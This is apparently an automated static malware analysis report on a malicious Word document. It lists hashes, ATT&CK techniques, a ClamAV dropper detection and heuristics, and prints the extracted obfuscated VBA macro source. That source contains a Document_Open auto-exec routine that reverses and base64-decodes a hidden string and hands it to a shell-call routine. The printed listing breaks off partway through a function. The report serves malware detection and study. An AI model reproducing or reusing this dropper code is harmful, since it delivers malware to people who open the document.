Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 48e56ad67c78aa99…

MALICIOUS

Office (OLE)

195.0 KB Created: 2017-10-02 18:01:00 Authoring application: Microsoft Office Word First seen: 2018-05-08
MD5: 41e3aa891e94f5460afc7e6424a3db05 SHA-1: b13b51e631f32c01b82013cb4240967dfbc0d8f9 SHA-256: 48e56ad67c78aa99784d56ba2f4e97fc967da8c0c74d234d1037a456344e98b1
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing VBA macros. Critical heuristics indicate potential shell calls and auto-execution of code via the Document_Open macro. ClamAV detection further confirms its malicious nature as a dropper. The VBA script is heavily obfuscated but its presence and the associated heuristics strongly suggest it's designed to download and execute a secondary payload.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6338477-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6338477-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    nOpcY7 = LTrim(Mid(nOpcY7, -2545 + 2550, -2545 + 2550))
    Call VBA.Shell(zQ93e2Z, ElioVP)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
    DaMHswpAW = "cNTIQjw"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21546 bytes
SHA-256: 145e55b20c1696cad6b0f27f9aabbf9880e803752cefdfc627b6137f9143939c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
DaMHswpAW = "cNTIQjw"
If Len(DaMHswpAW) > 193 Then
t64DX = "kHzjCqDg"
MsgBox t64DX, 29, "zuvdAgjqY"
End If
lzZUMluO7 = "hy86Bl"
If Len(lzZUMluO7) > 239 Then
AgKHXVE = "U7iyonx5"
MsgBox AgKHXVE, 25, "YkMLE3Tc"
End If
nDEoSY = "BH0Y7xK"
nDEoSY = Trim(Mid(nDEoSY, 10010 / 715, 10010 / 715))
IaTtf = "0pjduVGJg0"
jr9sofi = "jsVIy"
jr9sofi = RTrim(Mid(jr9sofi, 26112 / 2176, 26112 / 2176))
PPzmfsWQo = "qYVkA3xus"
PPzmfsWQo = LTrim(Mid(PPzmfsWQo, 26112 / 2176, 26112 / 2176))
AtSjRu = "UBDoZ0"
AtSjRu = LTrim(Mid(AtSjRu, 8544 / 1068, 8544 / 1068))
EF2Tj = "EOjhfi"
EF2Tj = RTrim(Mid(EF2Tj, 8544 / 1068, 8544 / 1068))
Dim YamI8qgs
YamI8qgs = IaTtf
YEWRI9zN5 = "Gc"
MMEA7eRU4 = "mapsWuQL"
MMEA7eRU4 = Trim(Mid(MMEA7eRU4, 8848 / 1106, 8848 / 1106))
sqyfd = "s7zevMy"
sqyfd = Trim(Mid(sqyfd, 8848 / 1106, 8848 / 1106))
Dim N1daqsQ
N1daqsQ = YEWRI9zN5
fi2YZ = "XZuB"
fqo0xMEcD = "SPgQnb"
omSzDCI8s = "a06DQ2Pye"
omSzDCI8s = LTrim(Mid(omSzDCI8s, 3546 / 591, 3546 / 591))
Rf2FzRc3n = "jyEZLGFYe"
Rf2FzRc3n = Trim(Mid(Rf2FzRc3n, 29624 / 29624, 29624 / 29624))
Dim pjUkR
pjUkR = fi2YZ & fqo0xMEcD
dlubhE = "sVGazJX"
hXY3t5bSR = "Z39"
dbjaY4IAi = "GA3EFH"
dbjaY4IAi = RTrim(Mid(dbjaY4IAi, 44 - 31, 44 - 31))
Dim VlQj9
VlQj9 = dlubhE & hXY3t5bSR
VgULz6l = "DI"
VKbEO = "oRXYw"
ZCbSP4y2 = "Ry"
y4V2a = Chr(79)
uCgNYAaR4 = "BhANjGpH"
If Len(uCgNYAaR4) > 137 Then
bmI54tWO = "J8A9chCRs"
MsgBox bmI54tWO, 10, "xXq1HRur"
End If
wPMkv3IU5 = "zGt5sM"
If Len(wPMkv3IU5) > 137 Then
DJjM94H12 = "UFWHGDm9T"
MsgBox DJjM94H12, 10, "fm1yqZ"
End If
Dim Nvb45PT7x
Nvb45PT7x = VgULz6l & VKbEO & ZCbSP4y2 & y4V2a
XkZ7gLN0 = "GZul2Vt"
hBQwmvZd4 = "ACb"
Lq87mPDNI = "ezKxNWSLe"
Lq87mPDNI = Trim(Mid(Lq87mPDNI, 1530 - 1526, 1530 - 1526))
UgkLNe1Xc = "FCi2ROKa"
If Len(UgkLNe1Xc) > 158 Then
N1pbKxem = "H0s42DGiA"
MsgBox N1pbKxem, 52, "icFmjr"
End If
Dim A5YRAX
A5YRAX = XkZ7gLN0 & hBQwmvZd4
TWp8U = "ocmbpJHd"
kQ8lHTo = "T9"
YneJaQy = "vFgvNk"
YneJaQy = Trim(Mid(YneJaQy, -200 + 216, -200 + 216))
e6vEd = "GIs14"
e6vEd = RTrim(Mid(e6vEd, -200 + 216, -200 + 216))
DxvL8srTJ = "kIBHv"
If Len(DxvL8srTJ) > 244 Then
PPvC0 = "D2b6v"
MsgBox PPvC0, 13, "yMYry15S"
End If
Dim et80z
et80z = TWp8U & kQ8lHTo
yiwS8y = "mcvZ"
eF4eXrA = "2OnUGe"
Yfd3y = "hDRcYgi"
If Len(Yfd3y) > 235 Then
cyz2eKE = "D04tAHp"
MsgBox cyz2eKE, 12, "HwtNoqxz"
End If
Dim r3JkvcYp
r3JkvcYp = yiwS8y & eF4eXrA
ioXhF = "GNjevU3"
qjGDvq = "cuw"
WHpUK = "FhOGQ2"
WHpUK = LTrim(Mid(WHpUK, 12728 - 12727, 12728 - 12727))
dEUQ3Hk = "DAqs3W"
dEUQ3Hk = LTrim(Mid(dEUQ3Hk, -819 + 831, -819 + 831))
Dim WOoVZqw7
WOoVZqw7 = ioXhF & qjGDvq
vUGsmc3j = "913eoN"
ZvRSBwDc = "Gdh"
yeThJVuN = "N"
qYoUI = "sqgMepEN"
qYoUI = Trim(Mid(qYoUI, 6135 / 409, 6135 / 409))
LHrNw = "sJZxm0CP"
LHrNw = RTrim(Mid(LHrNw, 26964 / 2996, 26964 / 2996))
TVE89 = "yiTLt"
TVE89 = RTrim(Mid(TVE89, 26964 / 2996, 26964 / 2996))
Dim xrOXV1T
xrOXV1T = vUGsmc3j & ZvRSBwDc & yeThJVuN
j4lwM0 = "WYi9Gbn"
WekIBmjK = "1Ca"
bQXmqeTK = "V0UV5PmB"
bQXmqeTK = Trim(Mid(bQXmqeTK, -3192 + 3201, -3192 + 3201))
Dim u6VzUC
u6VzUC = j4lwM0 & WekIBmjK
wxa6Q = "Gd"
XRb4VSla = "hBH"
Zdnh6wX = "JgwSK"
ZSi5DlG3 = "vHKcD"
ZSi5DlG3 = LTrim(Mid(ZSi5DlG3, 10064 / 10064, 10064 / 10064))
meO5Ntj = "dR7l3qtn"
meO5Ntj = Trim(Mid(meO5Ntj, 26010 / 1734, 26010 / 1734))
rJFq6Y = "Ep9M6jA1"
rJFq6Y = RTrim(Mid(rJFq6Y, 26010 / 1734, 26010 / 1734))
Dim uuSqkFr
uuSqkFr = wxa6Q & XRb4VSla & Zdnh6wX
vNX1g = "iV2VuQXZ"
LN1Jj = "O5"
TMNTLq4zI = "ugpWmbyY"
TMNTLq4zI = LTrim(Mid(TMNTLq4zI, 945 - 936, 945 - 936))
Olk0oOVM = "j3CpFNYx"
If Len(Olk0oOVM) > 140 Then
zndg1 = "QSO85N"
MsgBox zndg1, 62, "KoKDr1fkz"
End If
Dim gZTMbL
gZTMbL = vNX1g & LN1Jj
a0ypnlNV = "0NWZqJ"
RzKDtr = "2btc"
rrPezEB8b = "g4Vr5w"
If Len(rrPezEB8b) > 239 Then
k0WwxGX = "qXwVxLZ9"
MsgBox k0WwxGX, 32, "Hjg7h1KH"
End If
s3jJprwu = "OflzbMYy"
s3jJprwu = LTrim(Mid(s3jJprwu, 22263 - 22262, 22263 - 22262))
LWEKVS = "wOGrT"
LWEKVS = LTrim(Mid(LWEKVS, 22263 - 22262, 22263 - 22262))
Dim VwBMFJ7Zz
VwBMFJ7Zz = a0ypnlNV & RzKDtr
apgkL = "kgSZs"
eo4rh3s = "lmRkF"
hGA8ro1y = "KWDr0b4s"
hGA8ro1y = Trim(Mid(hGA8ro1y, -2887 + 2898, -2887 + 2898))
aIzW4D0SB = "o4dQO"
aIzW4D0SB = LTrim(Mid(aIzW4D0SB, -2887 + 2898, -2887 + 2898))
LHN08XGjC = "Lrul9"
LHN08XGjC = LTrim(Mid(LHN08XGjC, 1128 - 1121, 1128 - 1121))
DP64imG = "VWP29ob"
If Len(DP64imG) > 174 Then
pEMC7bF45 = "ydXxbgWP"
MsgBox pEMC7bF45, 58, "DIhiG"
End If
Dim xtXraZ
xtXraZ = apgkL & eo4rh3s
pKDcVuBS = "7gGdhBH"
qzDMXks = "JgM"
YZYo5 = "Kgc25"
YZYo5 = Trim(Mid(YZYo5, -4686 + 4692, -4686 + 4692))
Dim A7BtMAiy
A7BtMAiy = pKDcVuBS & qzDMXks
vxm7t9rnU = "l5iNzUTN2w"
Bk4aAE = "Pz6on4Nu5"
Bk4aAE = Trim(Mid(Bk4aAE, -4844 + 4850, -4844 + 4850))
LL7tjAHJ6 = "yS3tYrMn"
LL7tjAHJ6 = RTrim(Mid(LL7tjAHJ6, -4844 + 4850, -4844 + 4850))
E7HVBizEQ = "VlSpf"
E7HVBizEQ = Trim(Mid(E7HVBizEQ, 30578 - 30577, 30578 - 30577))
Dim WIwZd
WIwZd = vxm7t9rnU
x9pXKF = "Wf7sWYlJn"
fshcXMIn = "Y"
oTYpnAPv = "xk7ZuH"
If Len(oTYpnAPv) > 191 Then
e50cZjev = "tEyFpxW"
MsgBox e50cZjev, 54, "ZZ7WeR"
End If
cXZdfnrW4 = "XiKXIJ4Q"
cXZdfnrW4 = LTrim(Mid(cXZdfnrW4, 440 / 40, 440 / 40))
Dim uKcCO
uKcCO = x9pXKF & fshcXMIn
jEvZWtCUf = "1JgsCIw1"
lxaAztD = "WZ"
qbBjNH = "YuJ5rw1TV"
qbBjNH = LTrim(Mid(qbBjNH, -5403 + 5408, -5403 + 5408))
te3RE2B9L = "gj9chS"
If Len(te3RE2B9L) > 135 Then
yKhdXU = "nnVmzl36X"
MsgBox yKhdXU, 48, "QWvrZV3"
End If
oiqSYB = "HW8XCkpKq"
If Len(oiqSYB) > 135 Then
FMZNL = "YC4lmx"
MsgBox FMZNL, 48, "R1TblXM"
End If
Dim kX0M9C8
kX0M9C8 = jEvZWtCUf & lxaAztD
wyzmAjRd = "Dc0RHanA"
rH5USViv = "SP"
V9e1rqYMg = "GYptXB"
V9e1rqYMg = Trim(Mid(V9e1rqYMg, 18048 / 1128, 18048 / 1128))
Dim LqRhCVl
LqRhCVl = wyzmAjRd & rH5USViv
yZOBG = "0JXY0N1"
IYudJIFhn = "Opg"
zIgiwEh7v = "YNCS3"
zIgiwEh7v = Trim(Mid(zIgiwEh7v, 2917 - 2907, 2917 - 2907))
qABF2 = "qHONA17F"
qABF2 = LTrim(Mid(qABF2, 2917 - 2907, 2917 - 2907))
Dim EmawY
EmawY = yZOBG & IYudJIFhn
B9RpH = "yO05W"
pEpYFw2qy = "Zpx2Q"
rvhwZ = "PX7vmOKe"
If Len(rvhwZ) > 164 Then
SlSq3m895 = "QNvSRzWH"
MsgBox SlSq3m895, 39, "oDAZ6m58"
End If
Dim u70fn
u70fn = B9RpH & pEpYFw2qy
VonlBA = "51GJog"
PpCR0Al6 = "2YhV"
oRjqu9ra = "QbGW2po"
oRjqu9ra = Trim(Mid(oRjqu9ra, 24825 / 1655, 24825 / 1655))
dZ5aD = "gOMN1"
dZ5aD = LTrim(Mid(dZ5aD, 2036 - 2028, 2036 - 2028))
Dim VWyh5
VWyh5 = VonlBA & PpCR0Al6
aGgPZY = "gMHbyVXe"
gXfaZA = "tR"
rkxBV = "RmybFRzM"
rkxBV = LTrim(Mid(rkxBV, 153 - 149, 153 - 149))
HczT8 = "LmUsaz"
If Len(HczT8) > 212 Then
GUFHLYW = "yRiZC"
MsgBox GUFHLYW, 20, "LJXrdLz4V"
End If
Dim t5imNFYET
t5imNFYET = aGgPZY & gXfaZA
vvezINOYM = "jJXY"
xQ5Or = "lN3Lv"
H3OeaU = Chr(111)
jN42yqB = "KPJx6S"
jN42yqB = LTrim(Mid(jN42yqB, 28091 / 4013, 28091 / 4013))
I0PtNY21X = "LAjGICeOJ"
If Len(I0PtNY21X) > 173 Then
AK85trFnm = "JXgNwt"
MsgBox AK85trFnm, 58, "KyZ6Wm4A"
End If
mNPDUjZ5 = "mt7EiMB"
If Len(mNPDUjZ5) > 173 Then
kTKljW = "gqw1bEWC"
MsgBox kTKljW, 58, "nqoAvC"
End If
Dim P3xTCP
P3xTCP = vvezINOYM & xQ5Or & H3OeaU
Ez3ingGFV = "gUGb5R3U3"
Vzl5Z83 = "9"
bCljBv = "hl5vrHx"
If Len(bCljBv) > 165 Then
fnDmJ = "ek9fe4GP3"
MsgBox fnDmJ, 10, "np5glO"
End If
Dim IDuhWEg
IDuhWEg = Ez3ingGFV & Vzl5Z83
YoX1mp = "2dksXeyR"
oLjcBCavW = "3e"
BGKS0 = "AIWDepnz"
BGKS0 = Trim(Mid(BGKS0, 31932 / 5322, 31932 / 5322))
Acp9bwlFx = "dzrqT8HOR"
Acp9bwlFx = Trim(Mid(Acp9bwlFx, 3769 / 3769, 3769 / 3769))
qANbMoeP = "U0eaCH4"
qANbMoeP = Trim(Mid(qANbMoeP, 3769 / 3769, 3769 / 3769))
Dim Nq49e7f8
Nq49e7f8 = YoX1mp & oLjcBCavW
wWUaQBz = "SblR3c5N"
Bek74K = "FI"
cNgXdJMV = "o8hfNJHK"
If Len(cNgXdJMV) > 162 Then
pg8H2 = "naoTwgP"
MsgBox pg8H2, 62, "e7pNO9ba"
End If
Dim U92o6OElf
U92o6OElf = wWUaQBz & Bek74K
Sce7T = "pcCLngCd"
xM2569 = "px"
DQ0CXTH = "i9RHp7K"
DQ0CXTH = LTrim(Mid(DQ0CXTH, 20090 / 2009, 20090 / 2009))
ZJVQeH7d0 = "KPRizH"
If Len(ZJVQeH7d0) > 165 Then
BUJvB = "bBoZhtA1j"
MsgBox BUJvB, 7, "ysS3wJvx6"
End If
plvpObGj = "Cxn4yK3ZN"
plvpObGj = RTrim(Mid(plvpObGj, -4827 + 4832, -4827 + 4832))
Dim DGTXk8
DGTXk8 = Sce7T & xM2569
cf69E = "GV"
MaBFlMtpN = "uwm"
QC2yI = "c1l"
s3wJW = "Xb"
CFBTNi = "cVniqAH"
CFBTNi = RTrim(Mid(CFBTNi, 288 - 275, 288 - 275))
K3bZsr0 = "O2k9IHdcN"
If Len(K3bZsr0) > 182 Then
WS2mLv = "xaIBp"
MsgBox WS2mLv, 25, "Zh4M1EVd6"
End If
j4nrw = "g1lgADc8"
j4nrw = LTrim(Mid(j4nrw, -11360 + 11362, -11360 + 11362))
Dim ApPGuR5v
ApPGuR5v = cf69E & MaBFlMtpN & QC2yI & s3wJW
KkEcP = "CIulGIsJX"
wHba9K7k = Chr(100)
vdbIa = "WYREc"
If Len(vdbIa) > 161 Then
ti9YZ = "nH0dquy"
MsgBox ti9YZ, 44, "Yl9KzkLm"
End If
KqrdF = "xjIKi"
KqrdF = RTrim(Mid(KqrdF, 704 / 64, 704 / 64))
Dim XFv3QOdHG
XFv3QOdHG = KkEcP & wHba9K7k
KIFu96U = "GcT5y"
W2LKqBY = "J6pkU"
Bq6XTKnh = "IrcST"
Bq6XTKnh = Trim(Mid(Bq6XTKnh, 315 / 21, 315 / 21))
Dim fhzEr2IAe
fhzEr2IAe = KIFu96U & W2LKqBY
vcBdaMz = "2bs52dvRk"
ugvdDF = Chr(76)
wUw3D = "b4Hx3VFlC"
wUw3D = RTrim(Mid(wUw3D, -27946 + 27947, -27946 + 27947))
LhLqgZ = "SFypHX"
LhLqgZ = Trim(Mid(LhLqgZ, -27946 + 27947, -27946 + 27947))
Dim XYbWDyMs
XYbWDyMs = vcBdaMz & ugvdDF
vLXkN39 = "pMH"
pZI4eGf = "byVXetR"
FnfEuU5pX = "UtJkbnv"
If Len(FnfEuU5pX) > 191 Then
twk2j6 = "t3ShptmQ"
MsgBox twk2j6, 63, "vltfz"
End If
edrfLgkI6 = "wrGHb"
edrfLgkI6 = Trim(Mid(edrfLgkI6, 359 - 351, 359 - 351))
Dim DkBtGC
DkBtGC = vLXkN39 & pZI4eGf
A4Ef2hw = "05WZ"
Xh0Aru = "px"
dt9XR = "2Y"
IJVdjZ = "iV"
ERh9OcIo = "VJUet3s"
If Len(ERh9OcIo) > 129 Then
C6FNa = "w4sk0C"
MsgBox C6FNa, 50, "g2cZlmCY"
End If
xra9I = "D3OL4"
xra9I = Trim(Mid(xra9I, 31072 / 1942, 31072 / 1942))
XNTvnB7X6 = "grIR4j1fK"
XNTvnB7X6 = LTrim(Mid(XNTvnB7X6, 4060 - 4052, 4060 - 4052))
Dim CPO1J2e6l
CPO1J2e6l = A4Ef2hw & Xh0Aru & dt9XR & IJVdjZ
VNzcKky = "CIu"
kmxXGC = "VGZkl"
CsKUqjXLT = "GS"
uxdHKuZCJ = "HaGkC7"
uxdHKuZCJ = LTrim(Mid(uxdHKuZCJ, -491 + 497, -491 + 497))
VefNP2i = "jr0d7"
VefNP2i = RTrim(Mid(VefNP2i, -8367 + 8369, -8367 + 8369))
TaCGFV = "UPsf4W"
TaCGFV = Trim(Mid(TaCGFV, -8367 + 8369, -8367 + 8369))
Dim QTODtvNu
QTODtvNu = VNzcKky & kmxXGC & CsKUqjXLT
fqj8I = "3clN2byBVL"
PwYZB = "EMaiz"
PwYZB = Trim(Mid(PwYZB, -4811 + 4815, -4811 + 4815))
YuaRQF = "j0KW45QV"
YuaRQF = RTrim(Mid(YuaRQF, 22842 / 3807, 22842 / 3807))
Dim Krgp40Xxt
Krgp40Xxt = fqj8I
G5mQ3PY7 = "llGb"
cRf8Vdr = "jJWZ3R"
va7tkC = "TKmdGRb8"
va7tkC = RTrim(Mid(va7tkC, -7665 + 7668, -7665 + 7668))
cap2KE9Fw = "tONeUx4Q"
cap2KE9Fw = Trim(Mid(cap2KE9Fw, -7665 + 7668, -7665 + 7668))
Dim R7EGJ
R7EGJ = G5mQ3PY7 & cRf8Vdr
Zmd5V6wD8 = "ZVKDRSyAk"
Zmd5V6wD8 = Trim(Mid(Zmd5V6wD8, 610 - 596, 610 - 596))
xglTMs8YI = "L64JVi83c"
If Len(xglTMs8YI) > 230 Then
V6upEIBH = "JCVAJY6zy"
MsgBox V6upEIBH, 1, "poGiJOLb"
End If
sBpkuUn = "jKg4AjY"
sBpkuUn = RTrim(Mid(sBpkuUn, 17340 / 2890, 17340 / 2890))
Ywa3e = xrOXV1T & uKcCO & A7BtMAiy & Krgp40Xxt & EmawY & uuSqkFr & et80z & ApPGuR5v & xtXraZ & XYbWDyMs & CPO1J2e6l & Nq49e7f8 & DkBtGC & XFv3QOdHG & VWyh5 & r3JkvcYp & WIwZd & kX0M9C8 & YamI8qgs & Nvb45PT7x & DGTXk8 & fhzEr2IAe & WOoVZqw7 & u6VzUC & P3xTCP & LqRhCVl & t5imNFYET & u70fn & gZTMbL & U92o6OElf & VwBMFJ7Zz & pjUkR & R7EGJ & QTODtvNu & IDuhWEg & A5YRAX & VlQj9 & N1daqsQ
RhfdS1 = "Tf2sFa"
RhfdS1 = Trim(Mid(RhfdS1, 4697 / 427, 4697 / 427))
oI1RVnK = "YaxTIDuh"
If Len(oI1RVnK) > 194 Then
pOUc9KF = "vLj4B8nc"
MsgBox pOUc9KF, 4, "Vpr83Dbw"
End If
jQ6xpZ = "MnSQNC"
jQ6xpZ = LTrim(Mid(jQ6xpZ, 854 - 839, 854 - 839))
Call StarWars(Ywa3e, "HF5rfM87k", 222 + 34)
End Sub

Attribute VB_Name = "Js5zeb0"
Sub StarWars(AfdLXex3, wdNT23y6J, dRgWBOs)
vHzv2 = "Y5XVy"
vHzv2 = LTrim(Mid(vHzv2, 543 - 530, 543 - 530))
bd93P8 = "zyJaQVA"
bd93P8 = RTrim(Mid(bd93P8, 543 - 530, 543 - 530))
iJIVeKW = "hhfpCkaO4"
iJIVeKW = RTrim(Mid(iJIVeKW, 2462 - 2456, 2462 - 2456))
I4OrxYoJ = "xLFYq"
I4OrxYoJ = Trim(Mid(I4OrxYoJ, 2462 - 2456, 2462 - 2456))
QB5Wj = "lGxpwyDK"
QB5Wj = LTrim(Mid(QB5Wj, -1947 + 1954, -1947 + 1954))
iGrIv = "JyaQtuN4"
iGrIv = Trim(Mid(iGrIv, 574 - 558, 574 - 558))
rlG6uQ = "xOyKc2"
If Len(rlG6uQ) > 222 Then
K5cdFLgf = "BKqckCHf"
MsgBox K5cdFLgf, 7, "fjh47MGp"
End If
YFMcHPU = "Ku0qeIR"
YFMcHPU = RTrim(Mid(YFMcHPU, -261 + 268, -261 + 268))

DxtmT5 = "abkSJFg"
DxtmT5 = RTrim(Mid(DxtmT5, 19513 / 1501, 19513 / 1501))
rkaAlt1H = "frEUc"
rkaAlt1H = LTrim(Mid(rkaAlt1H, 4678 - 4672, 4678 - 4672))

PoyiQGT = "iFCOJkm9h"
PoyiQGT = RTrim(Mid(PoyiQGT, 12888 / 2148, 12888 / 2148))
I1c9L2hv = "VpijqIET"
I1c9L2hv = Trim(Mid(I1c9L2hv, 1365 / 105, 1365 / 105))
aJwzX = "ccak98li"
aJwzX = LTrim(Mid(aJwzX, 1365 / 105, 1365 / 105))
ELoOg = "vmPA0c"
ELoOg = RTrim(Mid(ELoOg, 14676 / 3669, 14676 / 3669))
BfTl1 = "VzQEk"
BfTl1 = LTrim(Mid(BfTl1, 14676 / 3669, 14676 / 3669))

yUZxq1Q5T = "JMqZG1CaY"
yUZxq1Q5T = RTrim(Mid(yUZxq1Q5T, -940 + 956, -940 + 956))
dwQNsf = "tAqsPrDa"
dwQNsf = Trim(Mid(dwQNsf, -940 + 956, -940 + 956))
mjFQlcgLE = "iSC8jiw"
If Len(mjFQlcgLE) > 161 Then
dHgJcND = "AeWUu5VJX"
MsgBox dHgJcND, 35, "KoVt70pKH"
End If
mrSX69 = "Nd0eU"
mrSX69 = RTrim(Mid(mrSX69, 1111 - 1096, 1111 - 1096))
wZorfalTN = "RBQgi0O"
If Len(wZorfalTN) > 230 Then
TfAzX = "TVs1wu"
MsgBox TfAzX, 37, "gtAWi39hY"
End If
R52EH = StrReverse(AfdLXex3)
R52EH = tF5GozhDI(R52EH)
lqB3M = "HldmfYvK"
lqB3M = LTrim(Mid(lqB3M, 27240 / 2270, 27240 / 2270))
N6wm53c = "c4hEnZMwo"
If Len(N6wm53c) > 245 Then
ph7Rr = "OLI4Sf"
MsgBox ph7Rr, 15, "j1DOTlM"
End If
a8UoHK = "ur7UDa"
a8UoHK = LTrim(Mid(a8UoHK, 843 - 835, 843 - 835))
UPlS3ax6y = "ZzYWd"
UPlS3ax6y = LTrim(Mid(UPlS3ax6y, 843 - 835, 843 - 835))

mcfHE = "utmH4dK0S"
mcfHE = RTrim(Mid(mcfHE, 4239 / 471, 4239 / 471))
X7QF5GY = "LyKt2Q"
X7QF5GY = RTrim(Mid(X7QF5GY, 4239 / 471, 4239 / 471))
H0CtPS5 = "QX7Yu9dKI"
H0CtPS5 = LTrim(Mid(H0CtPS5, 1946 - 1931, 1946 - 1931))

YhjF9N = "Kpy40wr"
YhjF9N = RTrim(Mid(YhjF9N, 14931 / 1659, 14931 / 1659))
DO7X42w = "QQX1ju"
If Len(DO7X42w) > 246 Then
meX0Aq = "WNAT64"
MsgBox meX0Aq, 7, "PnvIrA"
End If
M2npMyl = "tMXIL5"
M2npMyl = Trim(Mid(M2npMyl, 531 - 519, 531 - 519))
yaBu8VdY = "HeQYC"
yaBu8VdY = Trim(Mid(yaBu8VdY, -769 + 784, -769 + 784))
If wdNT23y6J <> 68489 - 2953 Then

WpHwqtSEQ = "DRc6rI"
WpHwqtSEQ = RTrim(Mid(WpHwqtSEQ, 3618 - 3611, 3618 - 3611))
SZ8De.fBpoCXUN R52EH, (199 + 57) - (199 + 57)
aBQfj = "PUrgsQ"
aBQfj = Trim(Mid(aBQfj, 2143 - 2129, 2143 - 2129))
Zk2x5nB = "Ue4v3lQgU"
If Len(Zk2x5nB) > 224 Then
KtCPXN0F = "PXrlsISk"
MsgBox KtCPXN0F, 47, "zSIGhDp"
End If

End If
End Sub

Attribute VB_Name = "T3GrzBvp"
Function tF5GozhDI(mHIJ2Op4) As String
RVJrIh = "pTrhD"
RVJrIh = LTrim(Mid(RVJrIh, 1760 - 1749, 1760 - 1749))
PIW56ZJ = "DTrYn"
PIW56ZJ = RTrim(Mid(PIW56ZJ, 1760 - 1749, 1760 - 1749))
G5rMQ = "vKlsY"
If Len(G5rMQ) > 246 Then
EDUkSVg = "BAz5FEb"
MsgBox EDUkSVg, 10, "DMb8v76"
End If

cFVYJtyzw = "mKEiok6"
cFVYJtyzw = RTrim(Mid(cFVYJtyzw, -5347 + 5353, -5347 + 5353))
tFhsUkS = "Uy6ASO"
tFhsUkS = RTrim(Mid(tFhsUkS, 20768 / 1298, 20768 / 1298))

x3kNga = "YPKt2"
x3kNga = RTrim(Mid(x3kNga, -2532 + 2542, -2532 + 2542))
oHExRnjL = "c1J5IeP"
If Len(oHExRnjL) > 245 Then
Wyfzle = "VwgBj5X"
MsgBox Wyfzle, 2, "WAnRTOL"
End If
OsJpcRb = "rnEDkMV"
If Len(OsJpcRb) > 178 Then
sGq6dK = "iC4nfNH"
MsgBox sGq6dK, 47, "fWkdn"
End If
TjOpQA = "WLJIH"
TjOpQA = LTrim(Mid(TjOpQA, -172 + 187, -172 + 187))
F3fXB8VlS = "EB4ZsWxe"
F3fXB8VlS = Trim(Mid(F3fXB8VlS, -172 + 187, -172 + 187))
Set hF1UGfa = New MSXML2.DOMDocument
KLlaBQxOI = "b6kKReF"
KLlaBQxOI = LTrim(Mid(KLlaBQxOI, 28941 / 2631, 28941 / 2631))
hLtfdIS = "TdAu9rPB"
hLtfdIS = Trim(Mid(hLtfdIS, 28941 / 2631, 28941 / 2631))
GHQVdBo = "GQkGd"
GHQVdBo = LTrim(Mid(GHQVdBo, 4425 - 4419, 4425 - 4419))
I9qg2 = "CbLQ1z"
If Len(I9qg2) > 213 Then
GSGZvQRFm = "ln97QMe"
MsgBox GSGZvQRFm, 11, "s8smQUJ"
End If
Set xOw46spXz = hF1UGfa.createElement(fbuQpZg)
FxGMLuaYW = "zbtDsk"
If Len(FxGMLuaYW) > 200 Then
eExoyLvW = "yU3tI"
MsgBox eExoyLvW, 25, "KbZOgN"
End If
Ou4gw = "mV5UZHKXd"
Ou4gw = LTrim(Mid(Ou4gw, 7700 / 770, 7700 / 770))
xxu3dS = "l6QDF5bl3"
If Len(xxu3dS) > 242 Then
fJuOYHo = "DEukT"
MsgBox fJuOYHo, 26, "V9mhG"
End If

TGu9L = "VOhuSyaC"
TGu9L = RTrim(Mid(TGu9L, 7175 - 7171, 7175 - 7171))
B0y95w3x = "Ar5BC"
B0y95w3x = RTrim(Mid(B0y95w3x, 7175 - 7171, 7175 - 7171))
N3c1aVv = "YV9fxzSt"
N3c1aVv = LTrim(Mid(N3c1aVv, 936 - 924, 936 - 924))
dEbDvh = "tSQJI"
dEbDvh = RTrim(Mid(dEbDvh, 936 - 924, 936 - 924))
AvrZGpsT = "Aecf2Ju0"
AvrZGpsT = Trim(Mid(AvrZGpsT, 3857 / 551, 3857 / 551))
abroL = "QiIeU"
abroL = LTrim(Mid(abroL, 3857 / 551, 3857 / 551))
With xOw46spXz

AhTsUxa = "kxkdCePc"
AhTsUxa = RTrim(Mid(AhTsUxa, 13140 / 876, 13140 / 876))
MceXArI0k = "l9omrTE"
If Len(MceXArI0k) > 214 Then
UZrBtgHC = "CSzFcT"
MsgBox UZrBtgHC, 8, "mvNTeO"
End If
.dataType = _
"bin.base64"

y8psEDI = "QC9y3J7"
y8psEDI = RTrim(Mid(y8psEDI, -46 + 61, -46 + 61))
YvGWg = "jo2Yu9"
YvGWg = LTrim(Mid(YvGWg, -46 + 61, -46 + 61))
pbhqr = "GoULgR0"
pbhqr = LTrim(Mid(pbhqr, 1914 - 1899, 1914 - 1899))
VGK4OW = "cTuPB5fl"
VGK4OW = Trim(Mid(VGK4OW, 1914 - 1899, 1914 - 1899))
.text = mHIJ2Op4
ydw0tbF = "EwDpl"
ydw0tbF = LTrim(Mid(ydw0tbF, 5880 / 392, 5880 / 392))
WPRETh = "lo1TizPg"
WPRETh = LTrim(Mid(WPRETh, 5880 / 392, 5880 / 392))
XZBglO = "M5J4ZmI9k"
XZBglO = RTrim(Mid(XZBglO, -1833 + 1849, -1833 + 1849))
O53y0Pk6 = "wReSH9q"
O53y0Pk6 = Trim(Mid(O53y0Pk6, -1833 + 1849, -1833 + 1849))
tF5GozhDI _
= xOw46spXz _
.nodeTypedValue
